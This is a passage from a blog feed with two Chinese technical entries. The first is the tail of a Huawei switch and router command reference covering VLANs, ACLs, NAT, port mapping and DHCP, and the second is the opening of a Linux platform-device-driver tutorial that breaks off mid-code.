&lt;h3 id=&quot;7-7-pei-zhi-gvrptong-bu-jiao-huan-ji-zhi-jian-de-vlanxin-xi&quot;&gt;7.7 配置GVRP同步交换机之间的vlan信息&lt;&#x2F;h3&gt;
&lt;p&gt;　　如下图:华为交换机需在两端交换机配置,即在LSW5和LSW8开启GVRP功能,并创建相同的vlan,即可实现vlan间的注册和注销.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-switch-commands&#x2F;gvrp-vlan-sync-topology.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　以下命令在LSW5和LSW8同时配置即可.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;# 使能全局GVRP功能。
&amp;lt;Huawei&amp;gt; system-view
[Huawei] gvrp
# 使能接口Ethernet2&amp;#x2F;0&amp;#x2F;0的GVRP功能。
&amp;lt;Huawei&amp;gt; system-view
[Huawei] interface ethernet 2&amp;#x2F;0&amp;#x2F;0
[Huawei-Ethernet2&amp;#x2F;0&amp;#x2F;0] port link-type trunk
[Huawei-Ethernet2&amp;#x2F;0&amp;#x2F;0] gvrp
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;7-8-hua-wei-lu-you-qi-zhi-dan-bi-lu-you-shi-xian-vlanjian-tong-xin&quot;&gt;7.8 华为路由器之单臂路由实现vlan间通信&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-switch-commands&#x2F;single-arm-routing-vlan-topology.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;######交换机配置
[Huawei]interface Ethernet 0&amp;#x2F;0&amp;#x2F;3
[Huawei-Ethernet0&amp;#x2F;0&amp;#x2F;3]port link-type trunk
[Huawei-Ethernet0&amp;#x2F;0&amp;#x2F;3]port trunk allow-pass vlan all
######路由器配置
[Huawei]interface GigabitEthernet 0&amp;#x2F;0&amp;#x2F;3
[Huawei-GigabitEthernet0&amp;#x2F;0&amp;#x2F;1]ip address 192.168.0.1 24
[Huawei]interface GigabitEthernet 0&amp;#x2F;0&amp;#x2F;1.1       #子接口名称随意给
[Huawei-GigabitEthernet0&amp;#x2F;0&amp;#x2F;1.1]dot1q termination vid 2      #将子接口和vlan2绑定
[Huawei-GigabitEthernet0&amp;#x2F;0&amp;#x2F;1.1]ip address 192.168.1.254 24  #配置ip地址
[Huawei-GigabitEthernet0&amp;#x2F;0&amp;#x2F;1.1]arp broadcast enable     #启用arp广播支持
[Huawei-GigabitEthernet0&amp;#x2F;0&amp;#x2F;1.1]undo shutdown
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;7-9-san-ceng-jiao-huan-ji-shi-xian-vlanjian-tong-xin&quot;&gt;7.9 三层交换机实现vlan间通信&lt;&#x2F;h3&gt;
&lt;p&gt;　　华为三层交换机默认开启三层转发,只需配置好IP地址和干道链路trunk即可实现vlan之间的通信.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;[Huawei]vlan batch 21 22
[Huawei]interface Vlanif 21
[Huawei-Vlanif21]ip address 192.168.2.254 24
[Huawei]interface vlanif 22
[Huawei-Vlanif22]ip address 192.168.1.254 24
[Huawei]interface Ethernet 0&amp;#x2F;0&amp;#x2F;22
[Huawei-Ethernet0&amp;#x2F;0&amp;#x2F;22]port link-type access
[Huawei-Ethernet0&amp;#x2F;0&amp;#x2F;22]port default vlan 22
[Huawei]interface Ethernet 0&amp;#x2F;0&amp;#x2F;21
[Huawei-Ethernet0&amp;#x2F;0&amp;#x2F;21]port link-type access
[Huawei-Ethernet0&amp;#x2F;0&amp;#x2F;21]port default vlan 21
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;8-fang-wen-kong-zhi-lie-biao-acl&quot;&gt;8. 访问控制列表acl&lt;&#x2F;h2&gt;
&lt;p&gt;　　acl分类:&lt;&#x2F;p&gt;
&lt;p&gt;　　1)标准acl:基于源地址控制;基于时间控制;默认允许所有规则(隐藏的;而思科隐藏的acl规则是拒绝所有).&lt;&#x2F;p&gt;
&lt;p&gt;　　2)高级acl:基于源IP地址和目标IP地址进行过滤;基于端口和协议过滤;基于时间.&lt;&#x2F;p&gt;
&lt;p&gt;　　acl使用步骤:&lt;&#x2F;p&gt;
&lt;p&gt;　　1)定义acl编号及对应的过滤规则.&lt;&#x2F;p&gt;
&lt;p&gt;　　2)将acl编号绑定到接口应用.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;[Huawei]acl ?
  INTEGER&amp;lt;2000-2999&amp;gt;  Basic access-list(add to current using rules)   #标准acl
  INTEGER&amp;lt;3000-3999&amp;gt;  Advanced access-list(add to current using rules)    #高级扩展acl
  INTEGER&amp;lt;4000-4999&amp;gt;  Specify a L2 acl group      #数据链路层的访问控制列表
  INTEGER&amp;lt;5000-5999&amp;gt;  User defined access-list
  ipv6                ACL IPv6
  name                Specify a named ACL
  number              Specify a numbered ACL
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;8-1-hua-wei-lu-you-qi-biao-zhun-fang-wen-kong-zhi-lie-biao&quot;&gt;8.1 华为路由器标准访问控制列表&lt;&#x2F;h3&gt;
&lt;p&gt;　　注意:acl的规则rule步长编号为5,即最小为5,然后10,一次类推;同一方向的acl规则只允许绑定一个编号.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;######配置基于源地址的acl的
[Huawei-acl-basic-2000]rule 10 permit source 192.168.2.0 0.0.0.255  #10是编号顺序,生效规则是从小到大
######配置生效时间段
[Huawei]time-range test 12:00 to 20:00 daily        #定义时间段,test是这个时间段的名字
[Huawei-acl-basic-2000]rule 20 permit source 192.168.3.0 0.0.0.255 time-range test  #调用生效时间段
[Huawei-acl-basic-2000]rule 30 deny source any  #最后拒绝所有,后面还隐藏一条允许所有
[Huawei-acl-basic-2000]display this     #查看配置信息
acl number 2000
 rule 10 permit source 192.168.2.0 0.0.0.255
 rule 20 permit source 192.168.3.0 0.0.0.255 time-range test
 rule 30 deny
&amp;lt;Huawei&amp;gt;display acl all
######将acl规则绑定到接口,数据出去&amp;#x2F;进来时候检查
[Huawei]interface GigabitEthernet 0&amp;#x2F;0&amp;#x2F;1
[Huawei-GigabitEthernet0&amp;#x2F;0&amp;#x2F;1]traffic-filter outbound acl 2000   #出去的时候检查
######测试的时候有可能需要更改时间为现在时间
&amp;lt;Huawei&amp;gt;clock datetime 12:00:00 2019-01-01
######在acl中插入&amp;#x2F;删除规则(注意编号决定生效顺序),删除使用undo
[Huawei]acl 2000
[Huawei-acl-basic-2000]rule 5 deny source 192.168.2.3 0.0.0.0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;8-2-hua-wei-lu-you-qi-gao-ji-kuo-zhan-de-acl&quot;&gt;8.2 华为路由器高级&#x2F;扩展的acl&lt;&#x2F;h3&gt;
&lt;p&gt;　　注意:高级acl在书写之前需考虑acl的生效位置,在哪个接口哪个方向过滤;还要注意高级acl的数量.&lt;&#x2F;p&gt;
&lt;p&gt;　　高级acl书写格式:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;[R1-acl-adv-3001] rule 10 deny ip destination 192.168.1.0 0.0.0.255 source 192.168.2.0 0.0.0.255
[R1-acl-adv-3001] rule 20 permit udp destination any destination-port eq 53 source 192.168.1.0 0.0.0.255
[R1-acl-adv-3001] rule 30 40 deny ip destination any source any
[R1-acl-adv-3001] rule 40 permit icmp source 192.168.2.0 0.0.0.255 destination any
[R1-acl-adv-3001] rule 50 permit ip destination 192.168.0.0 0.0.255.255 source 192.168.3.0 0.0.0.255
[R1-acl-adv-3001] rule deny ip
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;8-3-hua-wei-jiao-huan-ji-aclpei-zhi&quot;&gt;8.3 华为交换机acl配置&lt;&#x2F;h3&gt;
&lt;p&gt;　　注意:华为交换机acl规则和华为路由器acl规则有区别.&lt;&#x2F;p&gt;
&lt;p&gt;　　华为交换机acl规则配置步骤:&lt;&#x2F;p&gt;
&lt;p&gt;　　1) 定义acl&lt;&#x2F;p&gt;
&lt;p&gt;　　2)定义流分流&lt;&#x2F;p&gt;
&lt;p&gt;　　3) 定义流行为&lt;&#x2F;p&gt;
&lt;p&gt;　　4) 创建流策略,绑定流分流和流行为&lt;&#x2F;p&gt;
&lt;p&gt;　　5) 在vlanif接口,流量入方向应用流策略&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;######定义acl
[Huawei-acl-adv-3001] display this
acl number 3001
rule 10 deny ip source 192.168.1.0 0.0.0.255 destination 192.168.0.0 0.0.255.255
rule 20 permit ip
######定义流分类(流分类名称随意给,一般和vlan编号对应),并且将流分类和acl对应编号绑定
[Huawai] traffic classifier class1
[Huawai-classifier-class1] if-match acl 3001
[Huawai-classifier-class1] quit
######定义流行为(流行为的名称一般和vlan号对应)
[Huawai] traffic behavior behavior1
[Huawai-behavior-behavior1] permit
[Huawai-behavior-behavior1] quit
######创建流策略(流策略的编号一般和vlan号对应),将流分类和流行为绑定
[Huawai] traffic policy policy1
[Huawai-trafficpolicy-policy1] classifier class1 behavior behavior1
[Huawai-trafficpolicy-policy1] quit
######将流策略编号绑定到vlanif接口应用
[Huawai] interface vlanif 1
[Huawai-vlan1] traffic-policy policy1 inbound
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;9-wang-luo-di-zhi-zhuan-huan-he-duan-kou-ying-she&quot;&gt;9. 网络地址转换和端口映射&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;9-1-jing-tai-nat&quot;&gt;9.1 静态nat&lt;&#x2F;h3&gt;
&lt;p&gt;　　静态nat指的是将公网IP地址与私网IP地址一对一转换.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;[R1] interface GagabitEthernet 0&amp;#x2F;0&amp;#x2F;0
[R1-GagabitEthernet 0&amp;#x2F;0&amp;#x2F;0] nat global 137.1.1.3 inside 192.168.1.2 netmask 255.255.255.255
&amp;lt;R1&amp;gt;display nat static
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;9-2-dong-tai-nat&quot;&gt;9.2 动态nat&lt;&#x2F;h2&gt;
&lt;p&gt;　　动态nat指的是将私网地址对应公网IP地址池随机转换.(已被使用的公网IP不能再重复被其他内网IP转换使用)&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;######定义公网地址池
[R1] nat address-group 1 122.2.2.2 122.2.2.10
######定义acl规则
[R1] acl 2000
[R1-acl-basic-2000] rule 10 permit source 192.168.2.0 0.0.0.255
[R1-acl-basic-2000] rule 20 permit source 192.168.1.0 0.0.0.255
######在外网接口应用NAPT
[R1] interface GigabitEthernet 0&amp;#x2F;0&amp;#x2F;0
[R1-GigabitEthernet 0&amp;#x2F;0&amp;#x2F;0] nat outbound 2000 address-group 1 (no-pat)   #no-pat是指端口不转换,视情况添加
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;9-3-easy-nat&quot;&gt;9.3 easy nat&lt;&#x2F;h3&gt;
&lt;p&gt;　　easy nat指的是PAT,将一个公网地址对应多个私网地址,进行地址和端口转换,也是现在用到的.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;######定义acl规则
[R1] acl 2000
[R1-acl-basic-2000] rule 10 permit source 192.168.2.0 0.0.0.255
[R1-acl-basic-2000] rule 20 permit source 192.168.1.0 0.0.0.255
######在外网接口应用PAT
[R1] interface GigabitEthernet 0&amp;#x2F;0&amp;#x2F;0
[R1-GigabitEthernet 0&amp;#x2F;0&amp;#x2F;0] nat outbound 2000
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;9-4-duan-kou-ying-she&quot;&gt;9.4 端口映射&lt;&#x2F;h3&gt;
&lt;p&gt;　　作用:将公网IP地址某个端口映射到内网IP地址及其某个端口.&lt;&#x2F;p&gt;
&lt;p&gt;　　注意:公网接口需配置nat server.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;[R1-GigabitEthernet 0&amp;#x2F;0&amp;#x2F;0] nat server protocol tcp global 12.2.2.2 80 inside 192.168.1.2 www
[R1-GigabitEthernet 0&amp;#x2F;0&amp;#x2F;0] nat server protocol tcp global current-interface www inside 192.168.1.2 www  #current-interface指的是当前接口
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;10-jiang-lu-you-qi-zuo-wei-dhcpfu-wu-qi&quot;&gt;10 将路由器作为DHCP服务器&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;10-1-quan-ju-dhcpfu-wu-qi-pei-zhi-can-kao-ming-ling&quot;&gt;10.1 全局DHCP服务器配置参考命令&lt;&#x2F;h3&gt;
&lt;p&gt;　　不同的vlan,配置不同的地址池即可.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;[Router] dhcp enable
[Router] ip pool pool1
[Router-ip-pool-pool1] network 10.1.1.0 mask 255.255.255.0  #dhcp服务器所在子网
[Router-ip-pool-pool1] dns-list 10.1.1.2        #dns
[Router-ip-pool-pool1] gateway-list 10.1.1.1    #网关
[Router-ip-pool-pool1] excluded-ip-address 10.1.1.2 10.1.1.3    #排除分配的IP地址
[Router-ip-pool-pool1] lease unlimited      #租期不受限制
[Router-ip-pool-pool1] static-bind ip-address 10.1.1.4 mac-address dcd2-fc96-e4c0 #静态分配
[Router-ip-pool-pool1] quit
[Router] interface gigabitethernet 1&amp;#x2F;0&amp;#x2F;0
[Router-GigabitEthernet1&amp;#x2F;0&amp;#x2F;0] dhcp select global    #接口模式使能dhcp服务器功能
[Router-GigabitEthernet1&amp;#x2F;0&amp;#x2F;0] quit
[Router] display ip pool name pool1　　　　#显示地址池信息
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;10-2-jie-kou-di-zhi-chi-dhcpfu-wu-qi-pei-zhi-can-kao&quot;&gt;10.2 接口地址池dhcp服务器配置参考&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;[Router] interface vlanif 10
[Router-Vlanif10] dhcp select interface
[Router-Vlanif10] dhcp server lease day 30
[Router-Vlanif10] dhcp server domain-name huawei.com
[Router-Vlanif10] dhcp server dns-list 10.1.1.2
[Router-Vlanif10] dhcp server excluded-ip-address 10.1.1.2
[Router-Vlanif10] dhcp server static-bind ip-address 10.1.1.100 mac-address 286e-d488-b684
[Router-Vlanif10] quit
[Router] display ip pool interface vlanif10
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;10-3-pei-zhi-dhcpzhong-ji-ming-ling-can-kao&quot;&gt;10.3 配置dhcp中继命令参考&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-switch-commands&#x2F;huawei-dhcp-relay-config.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;[RouterA] dhcp enable
[RouterA] interface vlanif 100
[RouterA-Vlanif100] ip address 10.20.20.1 24
[RouterA-Vlanif100] dhcp select relay
[RouterA-Vlanif100] dhcp relay server-ip 10.10.20.2
[RouterA-Vlanif100] quit
[RouterA] display dhcp relay interface vlanif 100
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>7. 平台设备驱动 — [野火]嵌入式Linux驱动开发实战指南——基于i.MX6ULL系列 文档</title>
        <published>2025-01-12T00:00:00+00:00</published>
        <updated>2025-01-12T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/7.-平台设备驱动-[野火]嵌入式linux驱动开发实战指南-基于i.mx6ull系列-文档/"/>
        <id>https://vercel.juzhong.asia/obsidian/7.-平台设备驱动-[野火]嵌入式linux驱动开发实战指南-基于i.mx6ull系列-文档/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/7.-平台设备驱动-[野火]嵌入式linux驱动开发实战指南-基于i.mx6ull系列-文档/">&lt;h1 id=&quot;7-ping-tai-she-bei-qu-dong-ye-huo-qian-ru-shi-linuxqu-dong-kai-fa-shi-zhan-zhi-nan-ji-yu-i-mx6ullxi-lie-wen-dang&quot;&gt;7. 平台设备驱动 — [野火]嵌入式Linux驱动开发实战指南——基于i.MX6ULL系列 文档&lt;&#x2F;h1&gt;
&lt;p&gt;在之前的字符设备程序中驱动程序，我们只要调用open()函数打开了相应的设备文件，就可以使用read()&#x2F;write()函数， 通过file_operations这个文件操作接口来进行硬件的控制。这种驱动开发方式简单直观，但是从软件设计的角度看，却是一种十分糟糕的方式。&lt;&#x2F;p&gt;
&lt;p&gt;它有一个严重的问题，就是设备信息和驱动代码杂糅在一起，在我们驱动程序中各种硬件寄存器地址随处可见。 本质上，这种驱动开发方式与单片机的驱动开发并没有太大的区别，一旦硬件信息发生变化甚至设备已经不在了，就必须要修改驱动源码。 我们之前做的事情只不过是简单地给它套了一个文件操作接口的外壳。&lt;&#x2F;p&gt;
&lt;p&gt;Linux作为一个发展成熟、功能齐全、结构复杂的操作系统，它对于代码的可维护性、复用性非常看重。 如果它放任每位驱动开发人员任凭自己的个人喜好来进行驱动代码开发，最终必将导致内核充斥着大量冗余、无意义的驱动代码， 给linux内核的迭代开发带来巨大的维护成本。&lt;&#x2F;p&gt;
&lt;p&gt;为了解决这种驱动代码和设备信息耦合的问题，linux提出了设备驱动模型。前面章节我们已经对设备驱动模型进行了深入剖析，在设备驱动模型中， 引入总线的概念可以对驱动代码和设备信息进行分离。但是驱动中总线的概念是软件层面的一种抽象，与我们SOC中物理总线的概念并不严格相等：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;物理总线&lt;&#x2F;strong&gt;：芯片与各个功能外设之间传送信息的公共通信干线，其中又包括数据总线、地址总线和控制总线，以此来传输各种通信时序。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;驱动总线&lt;&#x2F;strong&gt;：负责管理设备和驱动。制定设备和驱动的匹配规则，一旦总线上注册了新的设备或者是新的驱动，总线将尝试为它们进行配对。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;一般对于I2C、SPI、USB这些常见类型的物理总线来说，Linux内核会自动创建与之相应的驱动总线，因此I2C设备、SPI设备、 USB设备自然是注册挂载在相应的总线上。但是，实际项目开发中还有很多结构简单的设备，对它们进行控制并不需要特殊的时序。 它们也就没有相应的物理总线，比如led、rtc时钟、蜂鸣器、按键等等，Linux内核将不会为它们创建相应的驱动总线。&lt;&#x2F;p&gt;
&lt;p&gt;为了使这部分设备的驱动开发也能够遵循设备驱动模型，Linux内核引入了一种虚拟的总线——&lt;strong&gt;平台总线（platform bus)&lt;&#x2F;strong&gt; 。 平台总线用于管理、挂载那些没有相应物理总线的设备，这些设备被称为平台设备，对应的设备驱动则被称为平台驱动。 平台设备驱动的核心依然是Linux设备驱动模型，平台设备使用platform_device结构体来进行表示，其继承了设备驱动模型中的device结构体。 而平台驱动使用platform_driver结构体来进行表示，其则是继承了设备驱动模型中的device_driver结构体。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;7-1-ping-tai-zong-xian-p&quot;&gt;7.1. 平台总线&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至标题&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id2&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;7-1-1-ping-tai-zong-xian-zhu-ce-he-pi-pei-fang-shi-p&quot;&gt;7.1.1. 平台总线注册和匹配方式&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至标题&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id3&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;在Linux的设备驱动模型中，总线是最重要的一环。上一节中，我们提到过总线是负责匹配设备和驱动， 它维护着两个链表，里面记录着各个已经注册的平台设备和平台驱动。每当有新的设备或者是新的驱动加入到总线时， 总线便会调用platform_match函数对新增的设备或驱动，进行配对。内核中使用bus_type来抽象描述系统中的总线，平台总线结构体原型如下所示：&lt;&#x2F;p&gt;
&lt;p&gt;platform_bus_type结构体(内核源码&#x2F;driver&#x2F;base&#x2F;platform.c)&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至代码&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id29&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlighttable&quot; class=&quot;language-highlighttable &quot;&gt;&lt;code class=&quot;language-highlighttable&quot; data-lang=&quot;highlighttable&quot;&gt;struct bus_type platform_bus_type = {

    .name           = &amp;quot;platform&amp;quot;,
    .dev_groups     = platform_dev_groups,
    .match          = platform_match,
    .uevent         = platform_uevent,
    .pm             = &amp;amp;platform_dev_pm_ops,

};

EXPORT_SYMBOL_GPL(platform_bus_type);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;内核用platform_bus_type来描述平台总线，该总线在linux内核启动的时候自动进行注册。&lt;&#x2F;p&gt;
&lt;p&gt;platform_bus_init函数(内核源码&#x2F;driver&#x2F;base&#x2F;platform.c)&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至代码&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id30&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlighttable&quot; class=&quot;language-highlighttable &quot;&gt;&lt;code class=&quot;language-highlighttable&quot; data-lang=&quot;highlighttable&quot;&gt;int __init platform_bus_init(void)
{
    int error;
    ...
    error =  bus_register(&amp;amp;platform_bus_type);
    ...
    return error;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;第5行：向linux内核注册platform平台总线&lt;&#x2F;p&gt;
&lt;p&gt;这里重点是platform总线的match函数指针，该函数指针指向的函数将负责实现平台总线和平台设备的匹配过程。对于每个驱动总线， 它都必须实例化该函数指针。platform_match的函数原型如下：&lt;&#x2F;p&gt;
&lt;p&gt;platform_match函数(内核源码&#x2F;driver&#x2F;base&#x2F;platform.c)&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至代码&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id31&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlighttable&quot; class=&quot;language-highlighttable &quot;&gt;&lt;code class=&quot;language-highlighttable&quot; data-lang=&quot;highlighttable&quot;&gt;static int platform_match(struct device *dev, struct device_driver *drv)
{

    struct platform_device *pdev = to_platform_device(dev);
    struct platform_driver *pdrv = to_platform_driver(drv);

    &amp;#x2F;* When driver_override is set, only bind to the matching driver *&amp;#x2F;
    if (pdev-&amp;gt;driver_override)
        return !strcmp(pdev-&amp;gt;driver_override, drv-&amp;gt;name);

    &amp;#x2F;* Attempt an OF style match first *&amp;#x2F;
    if (of_driver_match_device(dev, drv))
        return 1;

    &amp;#x2F;* Then try ACPI style match *&amp;#x2F;
    if (acpi_driver_match_device(dev, drv))
        return 1;

    &amp;#x2F;* Then try to match against the id table *&amp;#x2F;
    if (pdrv-&amp;gt;id_table)
        return platform_match_id(pdrv-&amp;gt;id_table, pdev) != NULL;

    &amp;#x2F;* fall-back to driver name match *&amp;#x2F;
    return (strcmp(pdev-&amp;gt;name, drv-&amp;gt;name) == 0);

}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;第4-5行：这里调用了to_platform_device()和to_platform_driver()宏。这两个宏定义的原型如下：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;to_platform_xxx宏定义(内核源码&#x2F;include&#x2F;linux&#x2F;platform_device.h)&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至代码&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id32&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlighttable&quot; class=&quot;language-highlighttable &quot;&gt;&lt;code class=&quot;language-highlighttable&quot; data-lang=&quot;highlighttable&quot;&gt;#define to_platform_device(x)     (container_of((x), struct platform_device, dev)
#define to_platform_driver(drv)   (container_of((drv), struct platform_driver, driver))
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中，to_platform_device和to_platform_driver实现了对container_of的封装， dev、driver分别作为platform_device、platform_driver的成员变量， 通过container_of宏可以获取到正在进行匹配的platform_driver和platform_device。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;第8-21行：platform总线提供了四种匹配方式，并且这四种方式存在着优先级：设备树机制&amp;gt;ACPI匹配模式&amp;gt;id_table方式&amp;gt;字符串比较。 虽然匹配方式五花八门，但是并没有涉及到任何复杂的算法，都只是在匹配的过程中，比较一下设备和驱动提供的某个成员的字符串是否相同。 设备树是一种描述硬件的数据结构，它用一个非C语言的脚本来描述这些硬件设备的信息。驱动和设备之间的匹配时通过比较compatible的值。 acpi主要是用于电源管理，基本上用不到，这里就并不进行讲解了。关于设备树的匹配机制，会在设备树章节进行详细分析。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;7-1-2-id-tablepi-pei-fang-shi-p&quot;&gt;7.1.2. id_table匹配方式&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至标题&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id-table&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;在这一章节，我们先来分析平台总线id_table匹配方式，在定义结构体platform_driver时，我们需要提供一个id_table的数组，该数组说明了当前的驱动能够支持的设备。当加载该驱动时，总线的match函数发现id_table非空， 则会比较id_table中的name成员和平台设备的name成员，若相同，则会返回匹配的条目，具体的实现过程如下：&lt;&#x2F;p&gt;
&lt;p&gt;platform_match_id函数(内核源码&#x2F;drivers&#x2F;base&#x2F;platform.c)&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至代码&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id33&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlighttable&quot; class=&quot;language-highlighttable &quot;&gt;&lt;code class=&quot;language-highlighttable&quot; data-lang=&quot;highlighttable&quot;&gt;static const struct platform_device_id *platform_match_id(
            const struct platform_device_id *id,
